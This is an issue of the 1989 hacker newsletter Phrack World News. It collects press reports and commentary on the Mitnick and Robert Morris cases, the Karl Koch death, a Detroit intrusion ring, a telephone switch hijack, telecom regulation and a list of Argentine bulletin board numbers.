==Phrack Inc.==

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Welcome to Issue XXVII of Phrack World News!

This issue features articles on SouthernNet's hacker scam, the Florida probation sex incident, bulletin boards in Argentina, fax attacks, computer security, other hacking occurrences, as well as more articles and new information about Kevin David Mitnick (aka Condor), Robert Tappan Morris, Karl Koch (Hagbard Celine, one of Clifford Stoll's "Wily Hackers"), TRW and Social Security Administration, the National Crime Information (NCIC) "Super Database," and many other fun stories.

Because of our temporary exile from Bitnet, this will be the last regular issue of Phrack World News until next Fall. Next issue expect to see the full write-up on the details and fun events of SummerCon '89. It is only two days away as of this writing (it kinda begins on Thursday evening for some of us) and it looks to be the best SummerCon ever!

A very special thanks goes to Delta Master, Hatchet Molly, and The Mad Hacker who all assisted with this issue's PWN by submitting articles. Hatchet Molly will be serving as a collection agent for Phrack Inc. during the summer. Be sure to forward any news articles to him that seem relevant to PWN and he will get them to me (eventually). He can be reached on the wide area networks at;

(Hatchet Molly)

TK0GRM2@NIU.BITNET
TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

One other thing to mention here is a special hello to one of our government readers... Peter Edmond Yee of NASA's Ames Research Center. He had recently remarked that he "had access to Phrack!" I wonder if he thought that Phrack Inc. was top secret or hard to get? Still if he wanted it that badly, Taran King and I thought, "Why not make it easier on him and just send it to his network address?" We did :-)))

:Knight Lightning

"The Real Future Is Behind You... And It's Only The Beginning!"

Mitnick Plea Bargain Rejected By Judge As Too Lenient — April 25, 1989

Excerpts from Kim Murphy (Los Angeles Times)

> "Mr. Mitnick, you have been engaging in this conduct
> for too long, and no one has actually punished you.
> This is the last time you are going to do this."

Reportedly U.S. District Judge Mariana Pfaelzer unexpectedly rejected the plea bargain of Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun." Pfaelzer declared that Mitnick deserves more time behind bars.

As reported in recent issues of Phrack World News, "Mitnick pleaded guilty to one count of computer fraud and one count of possessing unauthorized long-distance telephone codes... Mitnick faces one year in prison. Under a plea agreement with the government, he must also submit to three years' supervision by probation officers after his release from prison."

On April 24, 1989 Judge Pfaelzer said, "Mr. Mitnick, you have been engaging in this conduct for too long, and no one has actually punished you. This is the last time you are going to do this." She said a confidential pre-sentence report recommended that she exceed even the 18-month maximum prison term called for under mandatory new federal sentencing guidelines. The judge's action voids Mitnick's guilty plea.

Both prosecuting and defense attorneys were surprised. Mitnick's attorney said he did not know whether his client would agree to a guilty plea carrying a longer prison term. This could make it harder to bring charges against Mitnick's alleged associates. If Mitnick is brought to trial, testimony from at least one of his associates would be required to convict him, and they would not appear as witnesses without receiving immunity from prosecution.

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Computer Hacker Working On Another Plea Bargain May 6, 1989
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Excerpts from the Los Angeles Herald Examiner

Attorneys said yesterday they are negotiating a second plea bargain for computer hacker Kevin Mitnick, whose first offer to plead guilty was scuttled by a judge because it called for too little time in prison.

Mitnick, 25, of Panorama City, California offered in March to serve one year in prison and to plead guilty to computer fraud and possessing unauthorized long-distance telephone codes.

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Mitnick Update May 10, 1989
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Excerpts taken from the Los Angeles Times

When last we heard about Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun," the judge, Judge Mariana Pfaelzer, had rejected a plea bargain as too lenient, saying Mitnick deserved more than the agreed one year of jail time [see above articles].

According to more recent information, Mitnick has now reached a new agreement, with no agreed-upon prison sentence. He pleaded guilty to stealing a DEC security program and illegal possession of 16 long-distance telephone codes belonging to MCI Telecommunications Corp. The two charges carry a maximum of 15 years and a $500,000 fine. The government agreed to lift telephone restrictions placed on Mitnick since he was jailed in December, 1988.

At DEC's request, Mitnick will help the firm identify and fix holes in its security software to protect itself from other hackers. He will also cooperate in the government's probe of Leonard DiCicco, a fellow hacker. (DiCicco is the "friend" who turned Mitnick in.)

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Kenneth Siani Speaks Out About Kevin Mitnick May 23, 1989
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Kevin Mitnick, the hacker "so dangerous that he can't even be allowed to use a phone." "He could ruin your life with his keyboard." "Armed with a keyboard and considered dangerous."

These are some of the things that have been said about this person. All of this media hype would be fine if it just sold newspapers. But it has done much more then just sell a few papers. It has influenced those that will ultimately decide his fate. I myself do not know the man, but I have talked to others that do. Including one of the persons that investigated Mitnick. From all I have heard about him, I think he is a slime ball! But even a slime ball should not be railroaded into a prison sentence that others of equal or greater guilt
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have avoided.

I personally feel the man is just a criminal, like the guy that robs a 7/11, no better but certainly not any worse. Unfortunately he is thought of as some kind of a "SUPER HACKER." The head of Los Angeles Police Dept's Computer Crime Unit is quoted as saying, "Mitnick is several levels above what you would characterize as a computer hacker."

No disrespect intended, but a statement like this from the head of a computer crime unit indicates his ignorance on the ability of hackers and phone phreaks. Sure he did things like access and perhaps even altered Police Department criminal records, credit records at TRW Corp, and Pacific Telephone, disconnecting phones of people he didn't like etc. But what is not understood by most people outside of the hack/phreak world is that these things are VERY EASY TO DO AND ARE DONE ALL THE TIME. In the hack/phreak community such manipulation of computer and phone systems is all to easy. I see nothing special about his ability to do this. The only thing special about Kevin Mitnick is that he is not a "novice" hacker like most of the thirteen year old kids that get busted for hacking/phreaking. It has been a number of years since an "advanced" hacker has been arrested. Not since the days of the Inner Circle gang have law enforcement authorities had to deal with a hacker working at this level of ability. As a general rule, advanced hackers do not get caught because of there activity but rather it is almost always others that turn them in. It is therefore easy to understand why his abilities are perceived as being extraordinary when in fact they are not.

Because of all the media hype this case has received I'm afraid that:

1.) He will not be treated fairly. He will be judged as a much greater threat to society then others that have committed similar crimes.

2.) He will become some kind of folk hero. A Jesse James with a keyboard. This will only cause other to follow in his footsteps.

I'm not defending him or the things he has done in any sense. All I'm saying is let's be fair. Judge the man by the facts, not the headlines.

Disclaimer: The views expressed here are my own.

Kenneth Siani, Sr. Security Specialist, Information Systems Div., NYMA Inc.

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If you are looking for other articles about Kevin David Mitnick aka Condor please refer to;

"Pacific Bell Means Business"	(10/06/88)	PWN XXI. . .Part 1
"Dangerous Hacker Is Captured"	(No Date)	PWN XXII . .Part 1
"Ex-Computer Whiz Kid Held On New Fraud Counts"	(12/16/88)	PWN XXII . .Part 1
"Dangerous Keyboard Artist"	(12/20/88)	PWN XXII . .Part 1
"Armed With A Keyboard And Considered Dangerous"	(12/28/88)	PWN XXIII. .Part 1
"Dark Side Hacker Seen As Electronic Terrorist"	(01/08/89)	PWN XXIII. .Part 1
"Mitnick Plea Bargains"	(03/16/89)	PWN XXV. . .Part 1

Computer Intrusion Network in Detroit May 25, 1989

Taken from the San Jose Mercury News (Knight-Ridder News Service)

DETROIT -- Secret Service agents smashed what they described as a costly, sophisticated computer intrusion network on Wednesday, May 24, and were surprised to discover it made up largely of teen-agers.

The computer systems of more than 20 companies including the Michigan Department of Treasury, Home Box Office cable television services, [and RCA] were infiltrated, according to agents serving search warrants across the country.

Federal officials said the infiltrations by the network represented fraud of $200,000 to $1.5 million in appropriated goods, telephone and computer time.

Agents expected to arrest some adults when they swept down on eight people who

allegedly ran the network in several states. Instead, they found only one adult, in Chicago. The rest were teen-agers as young as 14: Two in Columbus, Ohio; two in Boston, Massachusetts; two in Sterling Heights, Michigan [The Outsider and The Untouchable]; and one in Atlanta, Georgia. Agents expected to make another arrest in Los Angeles.

Officials said at least 55 other people nationwide made use of the network's information.

In Sterling Heights, Secret Service agents pulled two eighth-grader boys, both 14, out of school and questioned them in the presence of their parents, who apparently were unaware of their activities. James Huse, special agent in charge of the U.S. Secret Service office in Detroit, said the youths admitted involvement in the scheme.

He said the eight-graders, because they are juveniles, cannot be charged under federal law and will be dealt with by local juvenile authorities.

Authorities believe the mastermind is Lynn Doucett, 35, of Chicago. She was arrested Wednesday, May 24, and is cooperating with authorities, Huse said.

Doucett, who was convicted in Canada of telecommunications fraud, supports herself and two children through her computer intrusion activities, which include using stolen or counterfeit credit cards for cash advances or money orders, according to an affidavit filed in U.S. District Court.

If convicted, she faces up to 10 years in prison and a $250,000 fine.

Special Thanks to Jedi For Additional Information

HR 1504 -- Beeper Abuse Prevention Act May 22, 1989

"Pagers Don't Commit Crimes, Congressmen Do."

The fools in congress assembled are at it again. Three years in jail for selling a pager to a minor? If you didn't believe when Abbie Hoffman said that the drug hysteria was just an excuse for more control of the citizens, think again.

In USA Today was a "face-off" on the issues. According to this article, Representative Kweisi Mfume (D-Md) says the following:

> "The drug business is using the latest technology to promote its deadly trade. One such advance, the paging device, or beeper, is now appearing in classrooms and schoolyards. I have introduced the Beeper Abuse Prevention Act to curtail the use of beepers by young people who deal drugs. It would require the Federal Communications Commission to prescribe regulations that would restrict the possession and use of paging devices by persons under age 21.
>
> Law officers say dealers and suppliers send coded messages via beeper to youths in school. The codes translate into messages like "meet me at our regular place after class to pick up the drugs." Drug traffickers are even using 800 numbers now available with regional paging services. A supplier could actually conduct a transaction in Baltimore from Miami, for example.
>
> My bill, H.R. 1504, would require any person selling or renting paging devices to verify the identification and age of every customer; encourage parents and businesses to take more responsibility in their children's or employees' activities; make it unlawful for a person to knowingly and willfully rent, sell or use paging devices in violation of rules prescrived by the FCC (there are provisions for stiff fines and up to three-year prison terms for adults who illegally provide beepers to youths); and require parents or businesses who allow the use of beepers to state that intention with and affidavit at the time of purchase."

He goes on to say that he recognizes that there are legitimate uses of beepers,

but we can no longer stand by and watch drugs flow into our neighborhoods. The opposite side is taken by Lynn Scarlett, from Santa Monica, CA. She asks what beepers have to do with the drug trade, and regulating their use will not put a dent it it. She also says that there is little evidence that gun control keeps guns out of the hands of gangsters, and it will take a good dose of wizardry to keep beepers away from bad guys. She finishes with:

> "The logic of the Beeper Abuse Prevention Act opens the door for laws to make us sign promises that we won't, we swear, use these things for illicit acts when we buy them. De Tocqueville, that eminent observer of our nation, warned that our loss of freedom would sneak in through passage of quiet, seemingly innocuous and well-intended laws -- laws like H.R. 1504.

Computer Threat Research Association (UK) March 31, 1989
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For those of you interested an umbrella organization has been established in the United Kingdom to coordinate information on, and research into, all aspects of computer security. In the first instance one of the organization's primary concerns will be combatting the threat posed by computer viruses by acting as a clearing house for virus information and control software.

Below is a copy of an initial letter mailed to prospective members:

The Computer Threat Research Association

The computer threat research association, CoTra is a non-profit making organization that exists to research, analyze, publicize and find solutions for threats to the integrity and reliability of computer systems.

The issue that caused the formation of CoTra was the rise of the computer virus. This problem has since become surrounded by fear, uncertainty and doubt. To the average user, the computer virus and its implications are a worry of an unknown scale. To a few unfortunates whose systems have become victims, it is a critical issue.

The key advantage of CoTra membership will be access to advice and information. Advice will be provided through publications, an electronic conference (a closed conference for CoTra's members has been created on the Compulink CIX system) as well as other channels such as general postings direct to members when a new virus is discovered.

CoTra membership will be available on a student, full or corporate member basis. All software that is held by CoTra that enhances system reliability, such as virus detection and removal software, will be available to all members. It is intended to establish discounts with suppliers of reliability tools and services. A library of virus sources and executables and other dangerous research material will be made available to members who have a demonstrable need.

A register of consultants who have specific skills in the systems reliability field will be published by CoTra and reviews of reliability enhancing software will be produced.

Your support of CoTra will ensure that you have the earliest and most accurate information about potential threats to your computer systems.

CoTra, The Computer Threat Research Association,
c/o 144 Sheerstock, Haddenham, Bucks. HP17 8EX

Strange Customs Service Clock Department May 1, 1989
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Written by Vanessa Jo Grimm (Goverment Computer News)(Page 6)

The U.S. attorney for Washington is reviewing an allegation that a Customs Service official violated the Computer Security Act [PL 100-235 presumably] by altering a computer's internal clock.

Treasury Department Inspector General Michael R. Hill referred the allegation to the prosecutor after an investigation into year-end spending by Custom officials at the close of Fiscal Year 1988. The allegation involves an official who may have authorized altering the date maintained by the computers that the agency uses for procurement documents, according to Maurice S. Moody, the Inspector General's audit director for Financial Management Service.

Moody recently told the House Ways and Means Subcommittee on Oversight the computers are part of the agency's Automated Commercial System. He declined to provide Government Computer News with more details.

Allegedly the computer clock was rolled back during the first three days of October of 1988 so that $41.8 million in procurement obligations would be dated in September against fiscal year 1988 appropriations, Moody said.

An inspector general report issued in late February concluded Customs had not violated any procurement laws. The inspector general's investigation is continuing, however.

"Doesn't $41.8 million worth of procurement on the last day of the fiscal year bother anybody?" asked Rep. Richard T. Shulze (R-Pa). The purchases did bother the inspector general, Moody said, and this concern led to getting the United State attorney attorney. "This problem is endemic in the federal government," he said. "Year-end spending is very common."

William F. Riley, Customs controller, said he knew about the rollback, but he and Deputy Commissioner Michael H. Lane refused to say who authorized the action... Subcommittee members continued to press Riley and Lane. "Is the person still at Customs?" asked subcommittee chairman J. J. Pickle (D-Texas). He is working full time and in the position he was at the time," Lane answered.

Rep. Beryl F. Anthony, Jr. (D-Ark) asked how Riley became aware of the rollback. "He (the official who authorized the rollback) told me that it was going to be done," Riley said.

Rep. Pickle suggested that a high ranking official would have to authorize such an action, but Counsel advised Lane not to reply. He did say neither he nor Commissioner von Raab had made the decision.

The balance of the article deals with the actions of Linda Gibbs, who became aware of the incident and reported it to the inspector general after being unable to stop the action. Gibbs also alleged that the action was intended to use available year-end money to cover cost overrun on a contract with Northrop Corp. She also alleged that she had been reassigned and given no new duties.

==Phrack Inc.==

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Robert T. Morris Suspended From Cornell — May 25, 1989

Taken from the New York Times

Cornell University has suspended the graduate student identified by school officials as the author of "the Internet worm."

In a May 16th letter to Robert Tappan Moris, age 23, the dean of the Cornell University Graduate School said a university panel had found him guilty of violating the school's Code of Academic Integrity.

He will be suspended until the beginning of the fall semester of 1990, and then could reapply.

No criminal charges have been filed against Morris. A federal grand jury this year forwarded its recommendations to the Justice Department, which has not taken any action.

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Justice Department Wary in Computer Case — May 28, 1989

by Matthew Spina (Syracuse Herald-American)

"Is Washington Fearful Of Losing A Landmark Trial?"

Some computer experts theorize that the Justice Department, afraid of bungling what could become a landmark computer case, still doesn't know how to treat the Cornell student whose computer worm slithered nationwide in November, 1988.

A further concern in Washington: A trial in the case might embarrass the Department of Defense if its scientists are asked to detail how their computers were among the thousands crippled by the worm.

For several months, the decision on how to charge 23-year-old Robert T. Morris, Jr. had been before Mark Richard, a deputy assistant attorney general. Within the last few weeks, Richard made a decision that now is being reviewed by an assistant attorney general, according to a computer professional who has been talking with the Justice Department.

"I thought we would have heard something from Washington by now," said Andrew Baxtoer, the assistant U.S. attorney who in November and December presented the case to a grand jury in Syracuse.

The grand jury's report was sent on the the Justice Department, which refuses to comment publicly on the matter because Morris has not been indicted.

"Within the next two weeks I assume that a decision will be made," said one official.

"If they decide to begin an expensive trial, they have to make sure they win so as not to damage future attempts to prosecute under that law," said Eugene H. Spafford, an assistant professor at Purdue University whose analysis of the

worm has helped federal investigators. "If they decide not to prosecute, and the total thing that happens is he gets suspended (from Cornell), I will be outraged."

So far, Cornell has taken the only disciplinary measure against Morris, suspending him for the 1989-90 academic year. But the graduate student left the computer science department early in November, the day after the worm spread out of a computer in Upson Hall.

Morris, a computer science graduate student, has been called the author of a rogue computer program, called a worm, that was spread from a Cornell University computer. The program was designed to reproduce and infect any computer linked to the Internet, a network shared by colleges, research centers and military institutions.

However, experts say an error caused the program to replicate out of control, sending thousands of copies into thousands of computers.

If Morris is to be charged with a felony, prosecutors would then have to show he intended to destroy or extract information.

Proving that would be difficult since the program neither destroyed nor removed information from any computer.

To convict Morris on most lesser charges, prosecutors would have to show he intended to harm computers.

Prosecutors also could use a misdemeanor charge requiring them to prove only that Morris gained access to a federal government computer. The worm did reach computers at the Army Ballistics Research Laboratory and NASA's Langley Research Center, among others.

Some computer experts wonder, though, if Defense Department officials will be reluctant to testify publicly about how their computers were penetrated -- even those computers holding non-classified information. In February, at a computer convention in San Diego, Defense Department computer experts detailed some security improvements made to the network since November, but then refused to release copies of their presentation to people at the seminar.

The FBI -- which enforces the Computer Fraud and Abuse Act of 1986 -- and some people in the computer industry are pushing for a vigorous prosecution to display a strong case against computer hacking. Others in the industry, including some of Morris' friends from Harvard University and Cornell, urge leniency because he was trying to demonstrate security flaws with computers.

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Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;

"Computer Network Disrupted By 'Virus'"	(11/03/88) PWN XXII/Part 2
"Virus Attack"	(11/06/88) PWN XXII/Part 2
"The Computer Jam: How It Came About"	(11/08/88) PWN XXII/Part 2
"US Is Moving To Restrict {...} Virus"	(11/11/88) PWN XXII/Part 2 *
"FBI Studies Possible Charges In Virus"	(11/12/88) PWN XXII/Part 2
"Big Guns Take Aim At Virus"	(11/21/88) PWN XXII/Part 3
"Congressman Plan Hearings On Virus"	(11/27/88) PWN XXII/Part 3
"Pentagon Severs Military {...} Virus"	(11/30/88) PWN XXII/Part 3 *
"Networks Of Computers At Risk From Invaders"	(12/03/88) PWN XXII/Part 4 *
"Computer Virus Eradication Act of 1988"	(12/05/88) PWN XXII/Part 4 *
"Breaking Into Computers {...}, Pure and Simple"	(12/04/88) PWN XXIV/Part 1 *
"Cornell Panel Concludes Morris {...} Virus"	(04/06/89) PWN XXVI/Part 1

* - Indicates that the article was not directly related to Robert Morris, but did discuss him as well as the Internet Worm incident.

SouthernNet's Anti-Hacker Psychological Con Game April 1989
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WARNING! Your call is being intercepted!

Error: Setting may not be changed by callers.
~~~~~~

Welcome to: S o u t h e r n N e t I n c.

You have reached the SouthernNet Fraud Department, the authorization code you are attempting to use is not valid. Hacking and illegal use of codes are violations of state and federal laws.

We are currently conducting an investigaion for code abuse in your area and we are coordinating the investigation with law enforcement authorities. Persons identified hacking or abusing codes will be prosecuted to the full extent of the law.

I'll see you soon,

Hacker Tracker
- -

Hold for additional information:

Hacker Tracker is unavailable right now; however, you may avoid possible arrest and/or prosecution by calling Hacker Tracker in person.

You may contact Mr. Tracker between the hours of 9:00 AM and 5:00 PM Eastern Standard Time, Monday - Friday, simply by dialing the access number you have just used and code number 101010 or 011010 if the access you have used requires a seven digit code. Just hold the line for 10 seconds and your call will automatically be routed to Mr. Tracker at no charge to you.

This is *NOT* a trick and it will be the intention of SouthernNet Inc. to settle this matter without involving law enforcement authorities if you cooperate with our fraud department 100%.

It will certainly be to your advantage to contact Mr. Tracker as this will reflect your own decision to assist and avoid prosecution by our company!!!

I'll be expecting your call.

Hacker Tracker

Hold a sec... Engaging Auto Page for Hacker Tracker...

50 seconds till disconnect
40 seconds till disconnect
30 seconds till disconnect
20 seconds till disconnect
10 seconds till disconnect
5 seconds till disconnect

NO CARRIER

[Do you think anyone believed this and actually called "Hacker Tracker?" -KL]

What's Happening: Computer Security Up June 4, 1989
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Taken from Gannett Westchester Newspapers

[Comments in brackets from Delta-Master]

High-tech companies are spending 64% more [than they previously spent] on computer security, according to a recent survey conducted by the National Center for Computer Crime Data in Los Angeles. The group surveyed 3,500 law enforcement agencies and computer security experts about computer crime. The prosecution rate is also up -- 6.4% in 1988 from only 2.4% during 1987.

Contrary to popular image, computer hackers aren't always young boys. The study found that 32% of those arrested for computer crimes were female, while
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only 14% were under 21. The study said 45% of hackers were 25 to 30 years old.
- -

Comments from Delta-Master
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I do not know about you people, but the public's confusion about hackers starts to bother me when they make errors. Seriously, I know of only a few hackers over the age of 21. The fact that the newspapers also equate the thug-like computer criminals with the mastermind-criminal type hacker (you guys) is also pretty annoying, wouldn't you agree? One key phrase you must note: "32% OF THOSE ARRESTED." Oh well, such are the mistakes of newspapers.

Public Service Commission Bans Operator Companies April 24, 1989
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By Jerri Stroud (St. Louis Post-Dispatch)

The Missouri Public Service Commission voted 4-1 last week to ban providers of so-called alternative operator services in Missouri because allowing the companies to operate is "not in the public interest."

Alternative operator services companies contract with hotels, motels colleges, hospitals, airports, restaurants and other facilities to provide operator assistance to customers using pay telephones or house phones. Consumer groups have complained about price-gouging by the companies nationwide.

Mark Wheatley, a lawyer for the Office of Public Council, praised the commission's decision.

The Office of Public Council has received numerous complaints about excessive rates and surcharges by alternative operator services companies, said Wheatley. Some alternative operator services companies also have accepted other companies' credit cards without authorization from the companies issuing the cards, he said.

"We feel that it's an extremely important decision by the commission." said Wheatley. But he said he expects the companies affected by the ruling to appeal.

Lawyers for the alternative operator services companies could not be reached for comment.

In it's ruling, the commission said many consumers aren't aware of the rates charged by the alternative operator services companies until they receive "a bill for operator services at prices higher than those to which he is accustomed." Consumer groups say the rates often are twice or three times the rates charged by better-known long-distance companies.

Even if an operator service company identifies itself when a consumer makes a call, the commission said many consumers don't understand the significance of the identification.

"If the end user is not educated as to the intricacies of using an alternative operator services provider, he does not truly have a meaningful choice..." the commission said.

The ruling only affects intrastate calls handled by alternative operator services companies, but it may effectively prevent the companies from providing interstate service as well.

The commission specifically denied tariff requests from International Telecharge Inc. and American Operator Services Inc. The commission also directed three other companies -- Teleconnect Inc., Dial US, and Dial USA -- to file new tariffs consistent with the ruling.

The ruling allows companies to operate who provide operator services in connection with their business -- long-distance carriers and local telephone companies, for example. But the commission also placed limits on these companies.

Under the ruling, operator services companies must:

* Identify themselves to the caller as well as to the party being billed by the call (in the case of a collect or third-party call).

* Quote rates to the caller or billed party on request, without charge.

* Use calling card verification procedures acceptable to the companies issuing the cards.

* Post in a prominent position the company's name, detailed complaint procedures and instruction on how to reach the local telephone company operator and other long-distance carriers.

* Transfer emergency traffic to the local telephone company or American Telephone & Telegraph Co. until the alternative services provider can show that it can handle emergency calls adequately.

Fax Attack May 13, 1989
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Taken from The Ann Arbor News

"Governor's Attempt To Ban Unsolicited Advertisements Backfires!"

HARTFORD, Conn - The great fax attack of 1989 -- an all-out lobbying campaign against a bill banning unsolicited facsimile advertising -- may have backfired when the governor's fax machine was jammed for hours with unwanted messages.

Starting Thursday, May 11, and continuing Friday, May 12, Governor William A. O'Neill's fax machine has been beeping constantly, spitting out unwanted messages from angry businesses that advertise by fax.

The businesses oppose a bill now awaiting O'Neill's signature that would prohibit them from marketing their products by fax without first obtaining the permission of the recipient. Violators would face a $200 fine.

Starting Thursday morning, dozens of Connecticut businesses faxed to O'Neill's office a form letter arguing against the fax ban. The stream of fax messages was so constant (40 came in before 10 AM) that the governor's office turned off the fax machine Thursday (May 11).

O'Neill's press secretary, Jon. L. Sandberg, said the governor still hasn't decided whether he will sign the bill. But aides to the governor said the persistent lobbying campaign proved how annoying unwanted messages can be. The inconvenience was compounded because the governor's office was unable to use its fax machine to receive information about spring flooding around the state.

NYNEX Announces Info-Look Gateway April 28, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introducing a new service for accessing information and more... all through your personal computer!

Starting in May 1989, New York Telephone's INFO-LOOK (tm) Gateway Service can be your link to accessing a variety of information, products and services.

The INFO-LOOK Gateway simplifies on-line computer access to a variety of information providers. When you call the Gateway phone number through your modem, you'll be able to scan a menu of information services.

The types of information services you may choose from include: Entertainment, business, health, food, news, weather, sports, travel, government, educational and reference information. The services, some interactive, are provided by independent companies.

The INFO-LOOK Gateway is easy to use -- even if you're relatively new to using a PC.

What you'll need to use the INFO-LOOK Gateway

1. Virtually any type of personal computer.

2. A modem (300, 1200, or 2400 Baud), and communications software. This enables your computer to communicate with other computers via the telephone system.

3. A New York Telephone Calling Card. If you need a New York Telephone Calling Card, (it's FREE), call your service representative whose number appears on page one of your New York Telephone bill.

Charges for using the INFO-LOOK Gateway

There are ** no ** Gateway enrollment fees and ** no ** monthly subscription charges. In most cases, you will be charged (New York people only):

o A local call to reach the INFO-LOOK Gateway.

o While you're browsing the Gateway directory of services, or moving between services, you pay $.05 a minute.

o Once you connect to a service, the charge is determined by the Service Provider. Some services have a per-minute usage charge. Some services are free. The charges for each service are listed in the Gateway menu.

You'll find most charges itemized on your monthly New York Telephone bill. Some Service Providers may decide to bill you separately and directly for use of their services.

Call for more information:

To get your free INFO-LOOK Gateway information booklet call (toll- free) 1-800-338-2720, Ext. 20, any day from 9 a.m. to 11 p.m.

Note: New York Telephone does not provide or control the services offered through the INFO-LOOK Gateway Service. They are provided by independent companies, which are responsible for the content, character, and quality of their services.

The predictions run $5 billion now and another $5-10 billion by 1991.

[INFO-LOOK is already operating in Bell South and Bell Atlantic.]

Pacific Bell Plans Access To Computers June 9, 1989
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Taken from Santa Cruz Sentinel (Section B)

SAN FRANCISCO (AP) -- Pacific Bell said Thursday it hopes to compete with the popularity of television by offering people easy access to computerized libraries, bulletin boards and the use of electronic mail.

PacBell's California On-line -- which will be available to anybody with a personal computer, telephone and calling card -- will be among the first in the nation to use a graphic-based system that simplifies procedures so only a rudimentary familiarity with computers is needed.

"It's going to offer our customers a supplement to their current leisure activities... and among other things we've seen (in trials) a lot of people who got away from the TV," said Roger P. Conrad, director of Videotex Gateway Services.

"We feel this is a more productive way for people to spend their lives and we think a lot of users are going to agree," he added. Users will pay "info-entrepreneurs" fees based on the time they use various services and will be billed on their monthly telephone statements. Unlike some on-line information services, users do not have to subscribe ahead of time.

Conrad said the types of services are limited only by vendors' imaginations. PacBell will make money by selling telecommunication line use to the companies.
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Bulletin Boards Of Argentina June 5, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Country Code = 54 (Argentina)
City Code = 1 (Buenos Aires)

This list might be slightly incorrect due to the passage of time. The last update was on December 23, 1986.

Name	Hours Of Operation	======= Number=
Beta	23:00 - 6:30	802-0288
C-Mania	21:00 - 7:00	362-8843
CBM	16:00 - 12:00	90-4988
Century 21	24 hours	632-7070
Cerebruss	24 hours	47-2717
Cerebruss Information	?	48-8300
		48-9886
Databank	?	44-9760
Drean Conection	?	953-2523
Los Pinos	13:00 - 19:00	21-0375
Magenta	?	392-0124
Magenta	?	392-0016
Maxes	23:00 - 7:00	542-2695
Mendieta	22:00 - 8:00	654-6999
Pirates Cove	24:00 - 6:00	783-5023
Sanctuary	24:00 - 3:00	641-4608
Soft-work	22:30 - 9:00	88-2065
TCConection	19:00 - 12:00	22-4197
The Connection	24 Hours	82-5780
The Hacker	23:00 - 7:00	748-2005
Tiger	?	784-2226
XCASA	?	611-8136
BBS-IOM	24 Hours	804-3602

Note: The settings for all systems listed above are Even, 7, 1.

Contributed by Noli
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==Phrack Inc.==

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One of Cliff Stoll's "Wily Hackers" Is Dead (Suicide?) — June 5, 1989

According to West German publications, the "Wily Hacker" Karl Koch, of Hannover, West Germany, died Friday, June 3, probably by suicide. His body was found burnt (with gasoline) to death, in a forest near Celle (a West German town near Hannover where he committed his hacks, as had been observed by German Post).

Koch was one of the 2 hackers who confessed their role in the KGB hack to the public prosecutors, therewith bringing the case to public attention. As German newspapers report, he probably suffered from a psychic disease: He thought he was permanently observed by alien beings named Illimunates' which tried to kill him. Probably, he had internalized the role of "Captain Hagbard" (his pseudonym in the hacking scene), taken from a U.S. book, who (like him) suffered from supervision by the Illuminates. Police officials evidently think that Koch committed suicide (though it is believed, that there are "some circumstances" which may also support other theories; no precise information about such moments are reported).

According to German police experts, Karl Koch's role in the KGB case as in daily life can properly be understood when reading this unknown book.

Information Provided by Klaus Brunnstein
(University of Hamburg)

[Illuminates... KGB... whatever... -KL]

- -

Illuminatus! — June 14, 1989

The book in question is believed to be "Illuminatus!" by Harold Shea and Robert Anton Wilson. The book is a spoof on conspiracy theories, and suggests that many and probably all human institutions are just fronts for a small group of "enlightened ones," who are themselves a front for the Time dwarves from Reticuli Zeta, or perhaps Atlantean Adepts, remnants of Crowley's Golden Dawn, or even more likely the Lloigor of H.P. Lovecraft's Cthulhu Mythos. A leading character in this book is named Hagbard Celine.

"Illuminatus!" is a fun read if you like psychedelia and paranoia. It also seems to have influenced a lot of subsequent work, most notably Adams' "Hitchhiker's Guide to the Galaxy." It is easy to see how an unbalanced mind, taking it literally, could be completely absorbed. In fact "Illuminatus!" seems as if it was written with the intent of just this sort of programming, referring to it as "Operation Mindfuck."

This is probably not a real danger for the vast majority of sane adults, but it may, tragically, have been the case here. Or perhaps, no disrespect intended, Koch may in the course of various hacks really have discovered too much about the Illuminati. After all, they are supposed to be the secret power behind the KGB :-)

- -

For more information on Clifford Stoll and the Wily Hackers of West Germany, please see:

"Who Is Clifford Stoll?" (No Date) Phrack World News issue XXII/Part 1
"A Message From Clifford Stoll" (1/10/89) Phrack World News issue XXIII/Part 2

And the following articles all found in Phrack World News issue XXV/Part 2:

"German Hackers Break Into Los Alamos and NASA"	(3/2/89)
"Computer Espionage: Three 'Wily Hackers' Arrested"	(3/2/89)
"Computer Spy Ring Sold Top Secrets To Russia"	(3/3/89)
"KGB Computer Break-Ins Alleged In West Germany"	(3/3/89)
"News From The KGB/Wily Hackers"	(3/7/89)

Sex Put On Probation By Mystery Hacker June 13, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ft. Lauderdale News and Sun-Sentinel

"Yes, you sound very sexy, but I really need a probation officer."

DELRAY BEACH, Fla. -- Callers trying to dial a probation office in Delray Beach, Fla on Monday, June 12, heard a smorgasbord of sex talk from a panting woman named Tina instead.

Southern Bell telephone officials said a computer hacker reprogrammed their equipment over the weekend, routing overflow calls intended for the local probation office to a New York-based phone sex line.

"People are calling the Department of Corrections and getting some kind of sex palace," said Thomas Salgluff, a spokesman for the Palm Beach County probation office.

Southern Bell officials said it was the first time their switching equipment has been reprogrammed by an outside computer intruder. Southern Bell provides local telephone service in Florida, Georgia, North Carolina, and South Carolina.

"We're very alarmed," said Southern Bell spokesman Buck Passmore. He said such a feat would require someone with considerable computer knowledge.

The implications of such a computer breach are considerable. Intercepting corporate communications, uncovering unlisted phone numbers, and tampering with billing information are all plausible consequences of computer security breaches at the the phone company.

Hackers have invaded Southern Bell in the past, but they have never reprogrammed a telephone link, Passmore said.

Security technicians from Southern Bell and AT&T are trying to trace the source of the computer breach, Passmore said.

Hacking For A Competitive Edge May 12, 1989
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Taken from the Los Angeles Times

Two former Tampa, FLA TV news managers have been charged with illegally tapping into phone lines and computers at another station to gain a news edge over their competitors. Former new director Terry Cole and assistant news director Michael Shapiro at WTSP-TV have been charged with 17 counts of computer hacking and conspiracy in the theft of information from WTVT-TV through computer phone lines, authorities said. Their arraignment was set for May 19.

If convicted, each could face a maximum prison sentence of 85 years. The two were fired from WTSP when the station learned of the alleged thefts. The break-ins began in November, 1988, but were not noticed until January 12, 1989, when WTVT's morning news producer noticed that files were missing, authorities said.

